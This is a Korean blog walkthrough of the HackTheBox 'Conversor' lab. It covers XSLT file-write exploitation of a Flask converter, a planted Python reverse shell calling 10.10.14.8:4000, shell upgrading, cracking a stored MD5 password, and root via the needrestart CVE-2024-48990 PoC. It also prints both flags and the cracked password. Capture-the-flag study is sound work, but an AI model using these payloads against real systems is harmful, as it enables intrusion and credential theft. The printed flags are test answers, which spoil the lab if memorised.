본문 바로가기
레드팀/HackTheBox

[HTB] Conversor 풀이

by jwcs 2026. 3. 20.
728x90
반응형

https://app.hackthebox.com/machines/Conversor?sort_by=created_at&sort_type=desc

 

Hack The Box

 

app.hackthebox.com

 

초기 침투

About 페이지

/about

about 페이지에서 소스 코드를 확인할 수 있다.

 

install.md

install.md를 살펴보면 /var/www/conversor.htb/scripts/ 에 위치한 파이썬 파일을 실행시키는 것을 확인할 수 있다.

 

@app.route('/convert', methods=['POST'])
def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    from lxml import etree
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    try:
        parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
        xml_tree = etree.parse(xml_path, parser)
        xslt_tree = etree.parse(xslt_path)
        transform = etree.XSLT(xslt_tree)
        result_tree = transform(xml_tree)
        result_html = str(result_tree)
        file_id = str(uuid.uuid4())
        filename = f"{file_id}.html"
        html_path = os.path.join(UPLOAD_FOLDER, filename)
        with open(html_path, "w") as f:
            f.write(result_html)
        conn = get_db()
        conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
        conn.commit()
        conn.close()
        return redirect(url_for('index'))
    except Exception as e:
        return f"Error: {e}"

resolve_entities가 false이기 때문에 

<xsl:copy-of select="document('/etc/passwd')"/>

위와 같은 방식은 불가능하다.

 

하지만

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="evil.txt" method="text">
      Hello World!
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

이런 방식으로 파일 쓰기는 가능하다.

 

XML - XSLT Convert 페이지

/

위 페이지에서 xml 파일과 xslt 파일을 업로드하면 된다. 업로드한 파일의 상세 내용은 아래와 같다.

 

<?xml version="1.0" encoding="UTF-8"?>
<catalog>
    <cd>
        <title>CD Title</title>
        <artist>The artist</artist>
        <company>Da Company</company>
        <price>10000</price>
        <year>1760</year>
    </cd>
</catalog>

위 파일이 업로드한 xml 파일이다.

 

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/scripts/test.py" method="text">
import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.8",4000))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty; pty.spawn("/bin/bash")
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

위 파일이 업로드한 xslt 파일이다. xml 파일과 연관성이 없어도 리버스 쉘 연결은 문제 없었다.

리버스쉘 연결

위와 같이 리버스 쉘 연결에 성공했다.

 

1. python3 -c 'import pty;pty.spawn("/bin/bash")'
2. export TERM=xterm
3. Ctrl + Z
4. stty raw -echo; fg
5. Ctrl + C

위와 같은 방식으로 리버스 쉘 업그레이드가 가능하다.

 

User Flag 획득

sqlite db 접근

sqlite db에 접근할 수 있다. 

 

fismathack 패스워드

sqlite에 저장되어있는 fismathack 계정의 비밀번호를 획득했다.

 

/home

우리가 얻어야하는 계정명과 동일하다. 따라서 같은 비밀번호를 사용하고 있을 확률이 높기 때문에 저 패스워드를 크랙해보겠다.

 

hash id

md5로 해싱된 것을 확인할 수 있다. 체크한 사이트는 아래와 같다.

https://hashes.com/en/tools/hash_identifier

 

Hash Type Identifier - Identify unknown hashes

Identify and detect unknown hashes using this tool. This page will tell you what type of hash a given string is. If you want to attempt to Decrypt them, click this link instead. Decrypt Hashes

hashes.com

 

crackstation을 통해서 확인해본 결과 비밀번호를 획득할 수 있었다.

crackstation

Keepmesafeandwarm

user flag

6f7b85031927470f58c951fda8efef14

짜잔

 

Root Flag 획득

sudo -l

NOPASSWD가 위와 같이 설장되어 있다. needrestart에 대한 분석이 필요하다.

 

needrestart 버전

needrestart에 대한 버전 정보가 3.5임을 확인했다.

 

CVE-2024-48990을 비롯한 여러 CVE가 발견됐다. 쓰기 용이한 PoC 코드를 발견하여 CVE-2024-48990으로 익스플로잇을 시도했다.

https://github.com/BLUEBERRYP1LL/CVE-2024-48990/tree/master

 

GitHub - BLUEBERRYP1LL/CVE-2024-48990: needrestart < 3.8 Local Privilege Escalation via PYTHONPATH injection

needrestart < 3.8 Local Privilege Escalation via PYTHONPATH injection - BLUEBERRYP1LL/CVE-2024-48990

github.com

CVE-2024-48990 tool Usage
root 쉘 획득

위와 같이 루트를 획득할 수 있다.

 

root flag

f9fbb8f6a6280bf9ea14d02e81f70fe6

짜잔

728x90
반응형